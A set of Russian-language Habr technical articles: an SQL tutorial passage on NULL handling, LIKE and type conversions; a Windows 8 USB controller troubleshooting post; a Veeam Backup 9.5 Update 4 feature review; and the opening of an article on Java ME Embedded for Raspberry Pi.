Так же стоит упомянуть еще более коварную ошибку, связанную с NULL, которую можно допустить при использовании конструкции NOT IN. Для примера, давайте попробуем выбрать всех сотрудников, кроме тех, у которых отдел равен 1 или у которых отдел вообще не указан, т.е. равен NULL. В качестве решения напрашивается вариант:
```
SELECT ID,Name,DepartmentID
FROM Employees
WHERE DepartmentID NOT IN(1,NULL)
```
Но выполнив запрос, мы не получим ни одной строки, хотя мы ожидали увидеть следующее:
| ID | Name | DepartmentID |
| --- | --- | --- |
| 1001 | Петров П.П. | 3 |
| 1002 | Сидоров С.С. | 2 |
| 1003 | Андреев А.А. | 3 |
| 1004 | Николаев Н.Н. | 3 |
Опять же шутку здесь сыграло NULL указанное в списке значений.
Разберем почему в данном случае возникла логическая ошибка. Разложим запрос при помощи AND:
```
SELECT ID,Name,DepartmentID
FROM Employees
WHERE DepartmentID<>1
AND DepartmentID<>NULL -- проблема из-за этой проверки на NULL - это условие всегда вернет NULL
```
Правое условие (DepartmentID<>NULL) нам всегда здесь даст неопределенность, т.е. NULL. Теперь вспомним таблицу истинности для оператора AND, где (TRUE AND NULL) дает NULL. Т.е. при выполнении левого условия (DepartmentID<>1) из-за неопределенного правого условия в результате мы получим неопределенное значение всего выражения (DepartmentID<>1 AND DepartmentID<>NULL), поэтому строка не войдет в результат.
Переписать условие правильно можно следующим образом:
```
SELECT ID,Name,DepartmentID
FROM Employees
WHERE DepartmentID NOT IN(1) -- или в данном случае просто DepartmentID<>1
AND DepartmentID IS NOT NULL -- и отдельно проверяем на NOT NULL
```
IN еще можно использовать с подзапросами, но к такой форме мы вернемся, уже в последующих частях данного учебника.
LIKE – проверка строки по шаблону
---------------------------------
Про данный оператор я расскажу только в самом простом виде, который является стандартом и поддерживается большинством диалектов языка SQL. Даже в таком виде при помощи него можно решить много задач, которые требуют выполнить проверку по содержимому строки.
Этот оператор имеет следующий вид:
```
проверяемая_строка [NOT] LIKE строка_шаблон [ESCAPE отменяющий_символ]
```
В «строке\_шаблон» могут применятся следующие специальные символы:
1. Знак подчеркивания «\_» — говорит, что на его месте может стоять любой единичный символ
2. Знак процента «%» — говорит, что на его месте может стоять сколько угодно символов, в том числе и ни одного
Рассмотрим примеры с символом «%» (на практике, кстати он чаще применяется):
```
SELECT ID,Name
FROM Employees
WHERE Name LIKE 'Пет%' -- у кого имя начинается с букв "Пет"
SELECT ID,LastName
FROM Employees
WHERE LastName LIKE '%ов' -- у кого фамилия оканчивается на "ов"
SELECT ID,LastName
FROM Employees
WHERE LastName LIKE '%ре%' -- у кого фамилия содержит сочетание "ре"
```
Рассмотрим примеры с символом «\_»:
```
SELECT ID,LastName
FROM Employees
WHERE LastName LIKE '_етров' -- у кого фамилия состоит из любого первого символа и последующих букв "етров"
SELECT ID,LastName
FROM Employees
WHERE LastName LIKE '____ов' -- у кого фамилия состоит из четырех любых символов и последующих букв "ов"
```
При помощи ESCAPE можно задать отменяющий символ, который отменяет проверяющее действие специальных символов «\_» и «%». Данное предложение используется, когда в строке нужно непосредственно проверить наличие знака процента или знака подчеркивания.
Для демонстрации ESCAPE давайте занесем в одну запись мусор:
```
UPDATE Employees
SET
FirstName='Это_мусор, содержащий %'
WHERE ID=1005
```
И посмотрим, что вернут следующие запросы:
```
SELECT *
FROM Employees
WHERE FirstName LIKE '%!%%' ESCAPE '!' -- строка содержит знак "%"
SELECT *
FROM Employees
WHERE FirstName LIKE '%!_%' ESCAPE '!' -- строка содержит знак "_"
```
В случае, если требуется проверить строку на полное совпадение, то вместо LIKE лучше использовать просто знак «=»:
```
SELECT *
FROM Employees
WHERE FirstName='Петр'
```
> **На заметку.**
>
> В MS SQL в шаблоне оператора LIKE так же можно задать поиск по регулярным выражениям, почитайте о нем в интернете, в том случае, если вам станет недостаточно стандартных возможностей данного оператора.
>
>
>
> В ORACLE для поиска по регулярным выражениям применяется функция REGEXP\_LIKE.
>
>
Немного о строках
-----------------
В случае проверки строки на наличие Unicode символов, нужно будет ставить перед кавычками символ N, т.е. N'…'. Но так как у нас в таблице все символьные поля в формате Unicode (тип nvarchar), то для этих полей можно всегда использовать такой формат. Пример:
```
SELECT ID,Name
FROM Employees
WHERE Name LIKE N'Пет%'
SELECT ID,LastName
FROM Employees
WHERE LastName=N'Петров'
```
Если делать правильно, при сравнении с полем типа varchar (ASCII) нужно стараться использовать проверки с использованием '…', а при сравнении поля с типом nvarchar (Unicode) нужно стараться использовать проверки с использованием N'…'. Это делается для того, чтобы избежать в процессе выполнения запроса неявных преобразований типов. То же самое правило используем при вставке (INSERT) значений в поле или их обновлении (UPDATE).
При сравнении строк стоит учесть момент, что в зависимости от настройки БД (collation), сравнение строк может быть, как регистро-независимым (когда 'Петров'='ПЕТРОВ'), так и регистро-зависимым (когда 'Петров'<>'ПЕТРОВ').
В случае регистро-зависимой настройки, если требуется сделать поиск без учета регистра, то можно, например, сделать предварительное преобразование правого и левого выражения в один регистр – верхний или нижний:
```
SELECT ID,Name
FROM Employees
WHERE UPPER(Name) LIKE UPPER(N'Пет%') -- или LOWER(Name) LIKE LOWER(N'Пет%')
SELECT ID,LastName
FROM Employees
WHERE UPPER(LastName)=UPPER(N'Петров') -- или LOWER(LastName)=LOWER(N'Петров')
```
Немного о датах
---------------
При проверке на дату, вы можете использовать, как и со строками одинарные кавычки '…'.
Вне зависимости от региональных настроек в MS SQL можно использовать следующий синтаксис дат 'YYYYMMDD' (год, месяц, день слитно без пробелов). Такой формат даты MS SQL поймет всегда:
```
SELECT ID,Name,Birthday
FROM Employees
WHERE Birthday BETWEEN '19800101' AND '19891231' -- сотрудники 80-х годов
ORDER BY Birthday
```
В некоторых случаях, дату удобнее задавать при помощи функции DATEFROMPARTS:
```
SELECT ID,Name,Birthday
FROM Employees
WHERE Birthday BETWEEN DATEFROMPARTS(1980,1,1) AND DATEFROMPARTS(1989,12,31)
ORDER BY Birthday
```
Так же есть аналогичная функция DATETIMEFROMPARTS, которая служит для задания Даты и Времени (для типа datetime).
Еще вы можете использовать функцию CONVERT, если требуется преобразовать строку в значение типа date или datetime:
```
SELECT
CONVERT(date,'12.03.2015',104),
CONVERT(datetime,'2014-11-30 17:20:15',120)
```
Значения 104 и 120, указывают какой формат даты используется в строке. Описание всех допустимых форматов вы можете найти в библиотеке MSDN задав в поиске «MS SQL CONVERT».
Функций для работы с датами в MS SQL очень много, ищите «ms sql функции для работы с датами».
> **Примечание.** Во всех диалектах языка SQL свой набор функций по работе с датами и применяется свой подход по работе с ними.
Немного о числах и их преобразованиях
-------------------------------------
Информация этого раздела наверно больше будет полезна ИТ-специалистам. Если вы таковым не являетесь, а ваша цель просто научится писать запросы для получения из БД необходимой вам информации, то такие тонкости вам возможно и не понадобятся, но в любом случае можете бегло пройтись по тексту и взять что-то на заметку, т.к. если вы взялись за изучение SQL, то вы уже приобщаетесь к ИТ.
В отличие от функции преобразования CAST, в функции CONVERT можно задать третий параметр, который отвечает за стиль преобразования (формат). Для разных типов данных может использоваться свой набор стилей, которые могут повлиять на возвращаемый результат. Использование стилей мы уже затрагивали при рассмотрении преобразования строки функцией CONVERT в типы date и datetime.
Подробней про функции CAST, CONVERT и стили можно почитать в MSDN – «Функции CAST и CONVERT (Transact-SQL)»: [msdn.microsoft.com/ru-ru/library/ms187928.aspx](https://msdn.microsoft.com/ru-ru/library/ms187928.aspx)
Для упрощения примеров здесь будут использованы инструкции языка Transact-SQL – DECLARE и SET.
Конечно, в случае преобразования целого числа в вещественное (которое я привел вначале данного урока, в целях демонстрации разницы между целочисленным и вещественным делением), знание нюансов преобразования не так критично, т.к. там мы делали преобразование целого числа в вещественное (диапазон которого намного больше диапазона целых):
```
DECLARE @min_int int SET @min_int=-2147483648
DECLARE @max_int int SET @max_int=2147483647
SELECT
-- (-2147483648)
@min_int,CAST(@min_int AS float),CONVERT(float,@min_int),
-- 2147483647
@max_int,CAST(@max_int AS float),CONVERT(float,@max_int),
-- numeric(16,6)
@min_int/1., -- (-2147483648.000000)
@max_int/1. -- 2147483647.000000
```
Возможно не стоило указывать способ неявного преобразования, получаемого делением на (1.), т.к. желательно стараться делать явные преобразования, для большего контроля типа получаемого результата. Хотя, в случае, если мы хотим получить результат типа numeric, с указанным количеством цифр после запятой, то мы можем в MS SQL применить трюк с умножением целого значения на (1., 1.0, 1.00 и т.д):
```
DECLARE @int int SET @int=123
SELECT
@int*1., -- numeric(12, 0) - 0 знаков после запятой
@int*1.0, -- numeric(13, 1) - 1 знак
@int*1.00, -- numeric(14, 2) - 2 знака
-- хотя порой лучше сделать явное преобразование
CAST(@int AS numeric(20, 0)), -- 123
CAST(@int AS numeric(20, 1)), -- 123.0
CAST(@int AS numeric(20, 2)) -- 123.00
```
В некоторых случаях детали преобразования могут быть действительно важны, т.к. они влияют на правильность полученного результата, например, в случае, когда делается преобразование числового значения в строку (varchar). Рассмотрим примеры по преобразованию значений типа money и float в varchar:
```
-- поведение при преобразовании money в varchar
DECLARE @money money
SET @money = 1025.123456789 -- произойдет неявное преобразование в 1025.1235, т.к. тип money хранит только 4 цифры после запятой
SELECT
@money, -- 1025.1235
-- по умолчанию CAST и CONVERT ведут себя одинаково (т.е. грубо говоря применяется стиль 0)
CAST(@money as varchar(20)), -- 1025.12
CONVERT(varchar(20), @money), -- 1025.12
CONVERT(varchar(20), @money, 0), -- 1025.12 (стиль 0 - без разделителя тысячных и 2 цифры после запятой (формат по умолчанию))
CONVERT(varchar(20), @money, 1), -- 1,025.12 (стиль 1 - используется разделитель тысячных и 2 цифры после запятой)
CONVERT(varchar(20), @money, 2) -- 1025.1235 (стиль 2 - без разделителя и 4 цифры после запятой)
```
```
-- поведение при преобразовании float в varchar
DECLARE @float1 float SET @float1 = 1025.123456789
DECLARE @float2 float SET @float2 = 1231025.123456789
SELECT
@float1, -- 1025.123456789
@float2, -- 1231025.12345679
-- по умолчанию CAST и CONVERT ведут себя одинаково (т.е. грубо говоря применяется стиль 0)
-- стиль 0 - Не более 6 разрядов. По необходимости используется экспоненциальное представление чисел
-- при преобразовании в varchar здесь творятся действительно страшные вещи
CAST(@float1 as varchar(20)), -- 1025.12
CONVERT(varchar(20), @float1), -- 1025.12
CONVERT(varchar(20), @float1, 0), -- 1025.12
CAST(@float2 as varchar(20)), -- 1.23103e+006
CONVERT(varchar(20), @float2), -- 1.23103e+006
CONVERT(varchar(20), @float2, 0), -- 1.23103e+006
-- стиль 1 - Всегда 8 разрядов. Всегда используется экспоненциальное представление чисел.
-- этот стиль для float тоже не очень точен
CONVERT(varchar(20), @float1, 1), -- 1.0251235e+003
CONVERT(varchar(20), @float2, 1), -- 1.2310251e+006
-- стиль 2 - Всегда 16 разрядов. Всегда используется экспоненциальное представление чисел.
-- здесь с точностью уже получше
CONVERT(varchar(30), @float1, 2), -- 1.025123456789000e+003 - OK
CONVERT(varchar(30), @float2, 2) -- 1.231025123456789e+006 - OK
```
Как видно из примера, плавающие типы float, real в некоторых случаях действительно могут создать большую погрешность, особенно при перегонке в строку и обратно (такое может быть при разного рода интеграциях, когда данные, например, передаются в текстовых файлах из одной системы в другую).
Если нужно явно контролировать точность до определенного знака, более 4-х, то для хранения данных, порой лучше использовать тип decimal/numeric. Если хватает 4-х знаков, то можно использовать и тип money – он примерно соотвествует numeric(20,4).
```
-- decimal и numeric
DECLARE @money money SET @money = 1025.123456789 -- 1025.1235
DECLARE @float1 float SET @float1 = 1025.123456789
DECLARE @float2 float SET @float2 = 1231025.123456789
DECLARE @numeric numeric(28,9) SET @numeric = 1025.123456789
SELECT
CAST(@numeric as varchar(20)), -- 1025.12345679
CONVERT(varchar(20), @numeric), -- 1025.12345679
CAST(@money as numeric(28,9)), -- 1025.123500000
CAST(@float1 as numeric(28,9)), -- 1025.123456789
CAST(@float2 as numeric(28,9)) -- 1231025.123456789
```
> **Примечание.**
>
> С версии MS SQL 2008, можно использовать вместо конструкции:
>
>
>
>
> ```
> DECLARE @money money
> SET @money = 1025.123456789
>
> ```
>
>
>
>
> Более короткий синтаксис инициализации переменных:
>
>
>
>
> ```
> DECLARE @money money = 1025.123456789
>
> ```
>
>
>
Заключение второй части
-----------------------
В этой части, я постарался вспомнить и отразить наиболее важные моменты, касающиеся базового синтаксиса. Базовая конструкция – это костяк, без которого нельзя приступать к изучению более сложных конструкций языка SQL.
Надеюсь, данный материал поможет людям, делающим первые шаги в изучении языка SQL.
Удачи в изучении и применении на практике данного языка.
Часть третья — [habrahabr.ru/post/255825](http://habrahabr.ru/post/255825/) | https://habr.com/ru/post/255523/ | null | ru | null |
# Неполадки USB 2.0 в Windows 8 на материнских платах с Intel 6 Series Chipset
После апгрейда на Windows 8 мною была замечена странная проблема: после спящего режима, а иногда и при холодном старте, я не мог войти в систему потому, что ни мышка ни клавиатура не функционировали! Спешу разочаровать тех кто сталкивается с этой проблемой, внятного решения пока нет.
#### Проблема
Итак, причина нашлась довольно быстро. Оказывается, иногда при старте системы один или оба USB 2.0 контроллера попросту не функционируют. Если смотреть диспетчер устройств, то одно или сразу оба следующих устройства остановлены (желтый восклицательный знак):
* Intel® 6 Series/C200 Series Chipset Family USB Enhanced Host Controller — 1C2D
* Intel® 6 Series/C200 Series Chipset Family USB Enhanced Host Controller — 1C26
Соответственно ни одно из подключенных устройств при этом не функционирует. Что интересно, проблема исчезает сама собой при перезагрузке.
Вначале я было подумал, что проблема в материнке (ASUS P8P67 Pro), но google подсказал, [что проблема возникла не только у меня](http://social.technet.microsoft.com/Forums/en-US/w8itprohardware/thread/991e94d9-359f-4f81-960b-7c4e8c9e768f/). Что примечательно, в Windows 7 такой проблемы не наблюдается.
Пролистав тему, я обнаружил следующие варианты решения проблемы.
#### Использовать дополнительный контроллер
У меня на материнке есть дополнительный контроллер USB 3.0. Соответственно простейшим решением будет переткнуть критичные устройства на его порты. Лично испробовал этот метод, все работает. К сожалению портов USB 3.0 значительно меньше, чем 2.0.
#### Отключить USB Legacy Mode
Советуют отключить USB Legacy Mode в BIOS. Судя по теме, помогает не всем, проблема может вернуться. Мне не помогло.
#### Перезапуск контроллера вручную
Или не со всем вручную, а с помощью планировщика заданий по событию включения. Для этого используется инструмент devcon. Строка запуска будет примерно следующая:
```
devcon.exe restart "@PCI\VEN_8086&DEV_1C26&SUBSYS_04A91028&REV_04\3&11583659&0&E8"
```
С поправкой на ID устройства из диспетчера устройств.
#### Хак реестра
Предлагается удалить параметры «LowerFilters» и «UpperFilters» в реестре по адресу.
```
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{36FC9E60-C465-11CF-8056-444553540000}
```
Мной не проверялось.
#### Итог
Глюк неприятный, хотя с ним и можно жить. Я уже было собрался менять материнку, но оказалось что проблема все-таки софтверная. К сожалению неизвестно, дождемся ли мы какой-то реакции от Intel или Microsoft, ибо уже несколько ревизий драйверов пролетело, но воз и ныне там. | https://habr.com/ru/post/174613/ | null | ru | null |
# Обзор обновления Veeam Backup & Replication 9.5 Update 4
В конце января вышло обновление Update 4 для Veeam Availability Suite 9.5, насыщенное фичами как иной полноправный major release. Сегодня я вкратце расскажу об основных новинках, реализованных в Veeam Backup & Replication, а про Veeam ONE обещаю написать в ближайшем будущем. В этом обзоре рассмотрим:
* версии систем и приложений, которые теперь поддерживает решение
* работу с облачными инфраструктурами
* улучшения в резервном копировании
* улучшения в восстановлении
* новое в поддержке vSphere и Hyper-V
А также узнаем об улучшениях в работе с виртуальными машинами под управлением Linux, о новых плагинах и других фичах.
[](https://hsto.org/webt/rw/ve/9i/rwve9izjrhq2txztdxvnl7ai08w.png)
Итак, добро пожаловать под кат.
Поддержка Windows Server 2019, Hyper-V 2019, новейших приложений и платформ
===========================================================================
**Microsoft Windows Server 2019** поддерживается в качестве:
* гостевой ОС для защищаемых виртуальных машин
* сервера для установки Veeam Backup & Replication и его удаленных компонентов
* машины, которую можно бэкапить с помощью Veeam Agent for Microsoft Windows
Аналогичная поддержка реализована и для **Microsoft Windows 10 October 2018 Update**.
Поддержана новая версия гипервизора **Microsoft Windows Server Hyper-V 2019**, включая поддержку ВМ с virtual hardware версии 9.0.
Для популярных систем и приложений **Microsoft Active Directory 2019**, **Exchange 2019** и **SharePoint 2019** поддерживается бэкап с учетом работы приложений (application-aware processing) и восстановление объектов приложений с помощью инструментов Veeam Explorer.
Для ВМ с гостевой ОС Windows реализована поддержка **Oracle Database 18c** — также с учетом работы приложения, включая бэкап журналов и возможность восстановления на выбранную точку.
Кроме того, теперь поддерживаются VMware vSphere 6.7 U1 ESXi, vCenter Server и vCenter Server Appliance (VCSA), а также VMware vCloud Director 9.5.
Гибкие возможности для хранения резервных копий с помощью Capacity Tier
=======================================================================
**Capacity Tier** — это новый подход к хранению резервных копий в масштабируемом репозитории (scale-out backup repository, SOBR) с возможностью автоматизированной загрузки данных в облачное хранилище.
С помощью Capacity Tier и политик хранения можно организовать эффективную многоуровневую систему хранения, при которой “на расстоянии вытянутой руки” (то есть в достаточно оперативном хранилище) будут лежать свеженькие бэкапы на случай оперативного восстановления. По истечении установленного срока они перейдут в разряд “второй свежести” и автоматически уедут на удаленную площадку — в данном случае в облако.
Для работы Capacity Tier требуются:
1. один или несколько SOBR-репозиториев, содержащих 1 или более репозиториев-extent-ов
2. один облачный репозиторий (т.н. хранилище объектов — object storage repository)
Поддерживаются облачные S3 Compatible, Amazon S3, Microsoft Azure Blob Storage, IBM Cloud Object Storage.
Если если вы планируете использовать эту функциональность, вам нужно будет:
1. Настроить репозитории резервных копий для использования в качестве extent-ов SOBR-репозитория.
2. Настроить облачный репозиторий.
3. Настроить масштабируемый SOBR-репозиторий и добавить в него репозитории-extent-ы.
4. Настроить привязку облачного репозитория к SOBR и задать политику хранения данных и загрузки их в облако — это и будет конфигурация вашего Capacity Tier.
5. Создать задание резервного копирования, которое будет сохранять бэкапы в SOBR-репозиторий.
С пунктом 1 все довольно очевидно (для тех, кто подзабыл, есть [документация](https://helpcenter.veeam.com/evaluation/backup/vsphere/ru/setup_backup_repository.html) на русском языке). Переходим к пункту 2.
Облачное хранилище как элемент инфраструктуры Veeam Backup
==========================================================
Про настройку облачного репозитория (aka хранилища объектов) подробно написано [здесь](https://helpcenter.veeam.com/docs/backup/hyperv/new_object_storage.html?ver=95u4) (пока что на английском). Если коротко, то нужно сделать следующее:
1. В представлении **Backup Infrastructure** выбираем в панели слева узел **Backup Repositories** и в верхнем меню кликаем на пункт **Add Repository**.
2. Выбираем, какое облачное хранилище будем настраивать:
3. Далее проходим по шагам мастера (для примера я рассмотрю Amazon S3)
*Примечание:* Поддерживаются хранилища класса *Standard* и *Infrequent Access*.
1. Сначала вводим имя и краткое описание нашего нового хранилища.
2. Затем указываем учетную запись для доступа к Amazon S3 — выбираем существующую из списка либо кликаем **Add** и вводим новую. Из списка регионов размещения дата-центров **Data center region** выбираем нужный регион.
*Подсказка:* Для указания учетных записей, используемых при работе с облачными компонентами, разработан **Cloud Credentials Manager**.
3. При необходимости регулирования интернет-трафика через шлюз (gateway) можно выбрать опцию **Use gateway server** и указать нужный шлюз.
4. Указываем настройки нового хранилища: нужный bucket, папку, куда будут складываться наши бэкапы, ограничение на общий объем места (опционально) и класс хранения (опционально).
*Важно!* Одной папке можно поставить в соответствие только одно хранилище объектов! Ни в коем случае нельзя конфигурировать несколько таких хранилищ, “смотрящих” на одну и ту же папку.
5. На заключительном шаге проверяем все настройки и жмем **Finish**.
Настройка загрузки бэкапов в облачное хранилище
===============================================
Теперь настраиваем SOBR-репозиторий соответствующим образом:
1. В представлении **Backup Infrastructure** выбираем в панели слева узел **Backup Repositories** и в верхнем меню кликаем на пункт **Add Scale-out Repository**.
2. На шаге мастера **Performance Tier** указываем для него extent-ы и говорим, как складывать бэкапы в них:
3. На шаге **Capacity Tier**:
* выбираем опицию **Extend scale-out backup repository capacity with object storage** (расширить емкость репозитория, задействовав хранилище объектов) и указываем, какое именно облачное хранилище объектов задействовать. Можно выбрать из списка или запустить мастер создания, нажав **Add**.
* говорим, в какие дни-часы можно выполнять загрузку в облако — для этого нажимаем кнопку **Window** (окно загрузки).
* настраиваем политику хранения — указываем, через сколько дней хранения в SOBR-репозитории данные станут “второй свежести”, и их можно будет перенести в облако — в нашем примере это 15 дней.
* можно включить шифрование данных при загрузке в облако — для этого выберите опцию **Encrypt data uploaded to object storage** и укажите, какой из паролей, хранящихся в **Credentials Manager**, надо использовать. Шифрование выполняется с использованием AES 256-bit.
По умолчанию, данные собираются с extent-ов и переносятся в хранилище объектов с помощью особого типа задания - **SOBR Offload job**. Оно работает в фоновом режиме, именуется по названию SOBR-репозитория с суффиксом *Offload* (например, *Amazon Offload*) и каждые 4 часа выполняет следующие операции:
1. Проверяет, соответствуют ли цепочки бэкапов, хранящиеся в extent-ах, критериям переноса в хранилище объектов.
2. Собирает прошедшие проверку цепочки и отправляет их по-блочно в хранилище объектов.
3. Записывает результаты работы своей сессии в базу, чтобы администратор смог просмотреть их при необходимости.
Схема переноса данных и структуры хранения их в облаке показана на рисунке ниже:
[](https://helpcenter.veeam.com/docs/backup/vsphere/images/archiving_routine.png)
*Важно!* Для создания такой многоуровневой системы хранения вам потребуется лицензия на редакцию не ниже *Enterprise*.
Бэкапы, сохраненные в облако, разумеется, можно использовать для восстановления непосредственно из места хранения. Причем можно также и сгрузить их из облака на землю и восстановить с помощью даже бесплатного Veeam Backup Community Edition.
Новое в работе с облачным инфраструктурами
==========================================
### Для работы с Amazon
* Восстановление из бэкапов напрямую в AWS — поддерживается для ВМ с гостевой ОС Windows или Linux, также для физических машин. Все это можно восстанавливать в виртуальные машины в **AWS EC2 VM**, включая *Amazon Government Cloud* и *Amazon China*.
* Работает встроенное преобразование UEFI2BIOS.
### Для работы с Microsoft Azure
* Реализована поддержка Azure Government Cloud и подписок Azure CSP.
* Есть возможность выбрать группу network security group при восстановлении в ВМ Azure IaaS.
* При входе в облако с использованием учетной записи Azure теперь можно указывать пользователя Azure Active Directory.
Новое в поддержке работы приложений
===================================
* Для работы приложений на виртуальных машинах vSphere реализована поддержка **Kerberos-аутентификации**. Это позволит отключать NTLM в сетевых настройках гостевой ОС для предотвращения атак, использующих передачу хэша, что весьма актуально для инфраструктур с не самым высоким уровнем контроля.
* Модуль резервного копирования журналов транзакций **SQL** и **Oracle** теперь использует в качестве вспомогательного местоположения при бэкапе журналов не системный диск *С*, где частенько не хватает места, а том с максимальным свободным пространством. На Linux-ВМ будет использоваться директория */var/tmp* или */tmp*, также в зависимости от свободного места.
* При бэкапе журналов **Oracle redo logs** будет выполняться их анализ с тем, чтобы сохранить гарантированные точки восстановления *Guaranteed Restore Points* (являются частью встроенной фичи *Oracle Flashback*).
* Добавлена поддержка **Oracle Data Guard**.
Улучшенное резервное копирование
================================
* Максимальный поддерживаемый размер диска и файла резервной копии увеличился более чем в 10 раз: при размере блока в 1 МБ для файла .VBK максимальный размер диска в бэкапе теперь может составить 120 ТБ, а максимальный размер всего файла резервной копии — 1 ПБ. (Подтверждено тестированием 100 ТБ для обоих значений.)
* Для бэкапов без шифрования объем метаданных снижен на 10 МБ.
* Оптимизирована производительность процессов инициализации и завершения задания резервного копирования; как результат, бэкапы небольших ВМ будут идти почти вдвое быстрее.
* Переработан модуль, ответственный за публикацию контента образа ВМ, что дало значительное ускорение восстановления на уровне файлов и на уровне объектов.
* Настройки Preferred Networks (предпочтительные сети) теперь будут распространяться и на акселераторы WAN.
Новое в восстановлении
======================
Новая возможность восстановления ВМ целиком называется **Staged Restore** — поэтапное восстановление. В этом режиме ВМ восстанавливается из нужного бэкапа сначала в «песочнице» (которая теперь носит название DataLab), на гостевой ОС при этом можно запустить свой скрипт для внесения изменений в содержимое базы данных, настройки ОС или приложений. ВМ с уже выполненными изменениями затем можно перенести в производственную инфраструктуру. Это может пригодиться, например, чтобы загодя установить нужные приложения, включить или отключить настройки, удалить персональные данные, и пр.
Подробнее можно почитать [тут](https://helpcenter.veeam.com/docs/backup/hyperv/staged_restore_about.html?ver=95u4) (на англ.языке).
*Примечание:* Требуется лицензия не ниже *Enterprise*.
Также появилась возможность **Secure Restore** — безопасное восстановление (работает почти для всех разновидностей восстановления). Теперь можно до начала процесса восстановления проверить файлы гостевой системы ВМ (непосредственно в резервной копии) на предмет наличия вирусов, троянов и т.п. — для этого диски ВМ монтируются к mount-серверу, ассоциированному с репозиторием, и запускается процедура сканирования с помощью антивируса, установленного на этом mount-сервере. (При этом необязательно, чтобы на mount-сервере и на самой ВМ был один и тот же антивирус.)
«Из коробки» поддерживаются Microsoft Windows Defender, Symantec Protection Engine и ESET NOD32; можно указать и другой антивирус, если он поддерживает работу через командную строку.
Подробнее можно почитать [тут](https://helpcenter.veeam.com/docs/backup/vsphere/av_scan_about.html?ver=95u4) (на англ. языке).
Новое в работе с Microsoft Hyper-V
==================================
* В задания бэкапа и репликации теперь можно добавлять группы Hyper-V ВМ.
* Мгновенное восстановление в Hyper-V ВМ из бэкапов, созданных с использованием Veeam Agent, поддерживает Windows 10 Hyper-V в качестве целевого гипервизора.
Новое в работе с VMware vSphere
===============================
* Улучшенная в несколько раз производительность кэша записи у vPower NFS — для более эффективного мгновенного восстановления ВМ и оптимизации использования SSD.
* vPower NFS теперь более эффективно работает с репозиторием SOBR, что позволяет обрабатывать больше виртуальных машин параллельно.
* У сервера vPower NFS появилась опция авторизации хостов по IP-адресу (по умолчанию доступ предоставляется хосту ESXi, обеспечивающему vPower NFS datastore). Для отключения этой фичи в реестре mount-сервера нужно перейти к **HKEY\_LOCAL\_MACHINE\
SOFTWARE\WOW6432Node\Veeam\Veeam NFS\** и создать под ним ключ **vPowerNFSDisableIPAuth**
* Теперь можно настроить задание SureBackup на использование кэша vPower NFS (в дополние к перенаправлению записи изменений на vSphere datastore). Это решает вопрос с использованием SureBackup для ВМ с дисками более 2 ТБ в случаях, когда единственной СХД для vSphere является VMware VSAN.
* Реализована поддержка контроллеров Paravirtual SCSI controllers с более чем 16ю приаттаченными дисками.
* Quick Migration теперь автоматически переносит и тэги vSphere; эти тэги сохраняются и при мгновенном восстановлении ВМ.
Улучшения в поддержке Linux ВМ
==============================
* Для учетных записей, которые нужно поднять до *root*, теперь нет необходимости добавлять опцию *NOPASSWD:ALL* для sudoers.
* Добавлена поддержка включенной опции *!requiretty* в sudoers (это дефолтная настройка, например, для CentOS).
* При регистрации сервера Linux теперь можно выполнять переключение командой `su`, если команда `sudo` недоступна.
* Проверка SSH-отпечатка (fingerprint) теперь распространяется на все подключения сервера Linux — для защиты от атак типа MITM.
* Повышена надежность алгоритма аутентификации PKI.
Новые плагины
=============
**Veeam Plug-in for SAP HANA** — помогает задействовать интерфейс BACKINT для бэкапа и восстановления баз данных HANA в/из репозитория Veeam. Реализована поддержка HCI SAP HANA. Решение сертифицировано SAP.
**Veeam Plug-in for Oracle RMAN** — позволяет использовать *RMAN manager* для бэкапа и восстановления баз данных Oracle в/из репозитория Veeam. (При этом нет необходимости заменять имеющуюся встроенную интеграцию на основе OCI.)
Дополнительные возможности
==========================
* Экспериментальная поддержка клонирования блоков для дедуплицированных файлов на Windows Server 2019 ReFS. Для активации этой фичи в реестре сервера Veeam backup нужно найти ключ **HKEY\_LOCAL\_MACHINE\SOFTWARE\Veeam\Veeam Backup and Replication** и создать значение **ReFSDedupeBlockClone (DWORD)**.
* В состав сетапа теперь входит Microsoft SQL Server 2016 SP1.
* Для работы с RESTful API реализована поддержка JSON.
Что еще почитать и посмотреть
=============================
[Обзор решения (на русском языке)](https://www.veeam.com/ru/veeam_backup_9_5_datasheet_ds.pdf)
[Сравнение редакций (на русском языке)](https://www.veeam.com/ru/products-edition-comparison.html)
Руководство пользователя (на англ.языке) для [VMware](https://helpcenter.veeam.com/docs/backup/vsphere/overview.html?ver=95u4) и [Hyper-V](https://helpcenter.veeam.com/docs/backup/hyperv/overview.html?ver=95u4) | https://habr.com/ru/post/438714/ | null | ru | null |
# Java ME Embedded на Raspberry Pi
Насколько я могу судить, на Хабре да и не только, наблюдается всплеск интереса к микроконтроллерам — устройствам на базе ARM процессоров и другим не совсем обычным железкам. Рынок отвечает симметрично. Для удовлетворения возникшего спроса появились Arduino, Biggle Board, Raspberry Pi и множество других полезных штуковин.
С начала этого года прошло всего ничего, а на Хабре появились сразу две статьи о применении Java платформы на Rasprerry Pi [«Raspberry Pi и чашечку Java, пожалуйста!»](http://habrahabr.ru/post/208306/) и [«Raspberry PI и JAVA: пристальный взгляд»](http://habrahabr.ru/post/209470/). Вполне естественно, что в экспериментах использовалась привычная всем Java SE, порт которой под ARM появился около двух лет назад. Мало кто знает, что Java ME не почила с миром вместе с эрой кнопочных телефонов от Nokia. Она живет полноценной жизнью в новом мире — мире встроенных систем. О применении Java ME на Raspberry Pi я и хочу сегодня рассказать.
Oracle Java ME Embedded — это полноценный Java runtime, оптимизированный для устройств с ARM архитектурой и систем с ограниченными аппаратными возможностями. Java ME показывает себя во всей красе на платформах со слабыми вычислительными мощностями и небольшими ресурсами оперативной памяти, которые работают с сетевыми сервисами. Например, такими, как беспроводные модули, модули позиционирования, «умные» счетчики ресурсов, датчики мониторинга окружающей среды, вендинг-машины, телемедицина и, конечно, «умные» дома.
Использование Oracle Java ME в ваших проектах дает ряд интересных возможностей. Во первых, главное преимущество Java — «write once, run everywhere» теперь работает и в случае встроенных устройств. Во вторых, в платформу интегрирована система управления жизненным циклом приложений и его удаленного обновления на устройстве (AMS — application management system). В третьих, вы получаете специальный API для доступа к периферии (DAAPI — Device Access API). В четвертых, бесплатные инструменты разработки, что для встроенных систем случай нечастый (Java ME SDK для NetBeans и Eclipse). А также набор интегрированных в платформу стандартных сервисов: File I/O (JSR 75), Wireless Messaging (JSR 120), Web Services (JSR 172), Security and Trust Services Subset (SATSA – JSR 177), Location (JSR 179), XML (JSR 280).
Oracle Java ME Embedded Product Stack
